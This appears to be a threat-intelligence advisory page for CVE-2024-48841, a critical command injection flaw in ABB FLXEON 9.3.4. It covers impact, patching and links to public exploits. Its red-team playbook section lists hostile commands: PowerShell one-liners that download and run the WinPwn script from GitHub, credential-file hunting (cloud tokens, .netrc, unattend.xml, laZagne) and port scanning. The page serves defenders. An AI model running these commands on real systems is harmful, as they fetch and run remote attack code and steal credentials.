CVE-2024-48841
Overview
The vulnerability in ABB FLXEON is a command injection flaw (CWE-77) rooted in improper input validation within the device's network-accessible interfaces. This allows crafted inputs to be interpreted as system commands, affecting the command execution component of FLXEON versions 9.3.4 and earlier. The underlying issue is the failure to sanitize user-supplied data before passing it to system-level command execution functions.
Vulnerability Description
Network access can be used to execute arbitrary code with elevated privileges. This issue affects FLXEON 9.3.4 and older.
Impact
An unauthenticated attacker with network access can execute arbitrary code with elevated privileges on affected FLXEON devices, potentially leading to full system compromise. This enables unauthorized control over device functions, data manipulation, or service disruption. Given the network attack vector and lack of required privileges, the vulnerability permits remote exploitation without user interaction, significantly increasing the attack surface and risk of operational impact.
Solution
ABB has released an advisory recommending immediate upgrade to FLXEON version 9.3.5 or later to remediate this vulnerability. The official patch and detailed instructions are available at https://search.abb.com/library/Download.aspx?DocumentID=9AKK108470A5684&LanguageCode=en&DocumentPartId=PDF&Action=Launch. Users should apply the vendor-supplied firmware update promptly and follow ABB’s guidance to mitigate exposure on affected devices.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in question allows for arbitrary code execution with elevated privileges, which poses a significant risk to the integrity and confidentiality of systems running the affected version of FLXEON, specifically version 9.3.4 and older. This flaw arises from inadequate input validation and insufficient access controls within the network interface, enabling an attacker to send specially crafted packets that exploit the underlying software architecture. By leveraging this vulnerability, an attacker can gain unauthorized access to system resources, potentially leading to a complete compromise of the affected system.
Exploitation of this vulnerability can occur through various attack vectors, primarily focusing on network access. An attacker could initiate a remote attack by sending malicious payloads over the network, targeting systems that are not properly secured. This could be executed from both internal and external networks, making it particularly dangerous for organizations that may have lax firewall rules or insufficient segmentation. Furthermore, if the vulnerable system is part of a larger network, the attacker could pivot to other connected systems, amplifying the impact of the breach. Scenarios may include deploying ransomware, exfiltrating sensitive data, or using the compromised system as a launchpad for further attacks.
The real-world impact of this vulnerability is profound, particularly for organizations that rely on the affected software for critical operations. A successful exploitation could lead to significant business risks, including financial losses, reputational damage, and regulatory penalties. For instance, if an attacker gains access to sensitive customer data, the organization could face legal repercussions and loss of customer trust. Additionally, the operational disruption caused by such an incident could result in downtime, affecting productivity and revenue. The high CVSS score of 10.0 underscores the severity of this vulnerability, indicating that it is critical for organizations to prioritize its remediation.
Detection and mitigation strategies must be employed to safeguard against this vulnerability. Organizations should implement robust network security measures, including firewalls and intrusion detection systems, to monitor and filter incoming traffic for suspicious activity. Regular vulnerability assessments and penetration testing can help identify potential weaknesses in the system before they can be exploited. Additionally, applying security patches and updates to the FLXEON software is essential to close off the attack vector. Educating employees about the risks associated with network security and promoting best practices can further enhance an organization’s resilience against such vulnerabilities.
In conclusion, the vulnerability present in FLXEON versions 9.3.4 and older represents a critical threat to network security, enabling attackers to execute arbitrary code with elevated privileges. The potential for exploitation through network access makes it imperative for organizations to take immediate action to detect, mitigate, and remediate this issue. By adopting a proactive security posture and implementing comprehensive risk management strategies, organizations can significantly reduce their exposure to this and similar vulnerabilities, thereby safeguarding their assets and maintaining operational integrity.
CSURFACE threat intelligence has identified a significant increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2024-48841, rising by 50% to 0.0625. This upward adjustment reflects a growing likelihood of exploitation attempts in operational environments, although the 7-day trend remains stable without rapid escalation. The persistence of publicly available proof-of-concept exploits targeting ABB FLXEON 9.3.4 and earlier versions continues to lower the barrier for threat actors seeking to leverage this critical vulnerability. While no marked surge in active exploitation has been detected recently, the elevated EPSS score signals heightened risk and underscores the vulnerability’s attractiveness for adversaries aiming to achieve remote code execution with elevated privileges. Consequently, this development warrants increased vigilance from defenders as the probability of opportunistic attacks rises, maintaining the threat level at critical due to the potential for severe impact on network security and operational continuity.
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
ExploitDB (2)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| ABB Cylon FLXeon 9.3.4 - Remote Code Execution (Authenticated) | LiquidWorm | hardware | multiple | - | View |
| ABB Cylon FLXeon 9.3.4 - Remote Code Execution (RCE) | LiquidWorm | hardware | multiple | - | View |
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-48841 |
| search.abb.com |
GitHub CVE
|
https://search.abb.com/library/Download.aspx?DocumentID=9AKK108470A5684&LanguageCode=en&DocumentPartId=PDF&Action=Launch |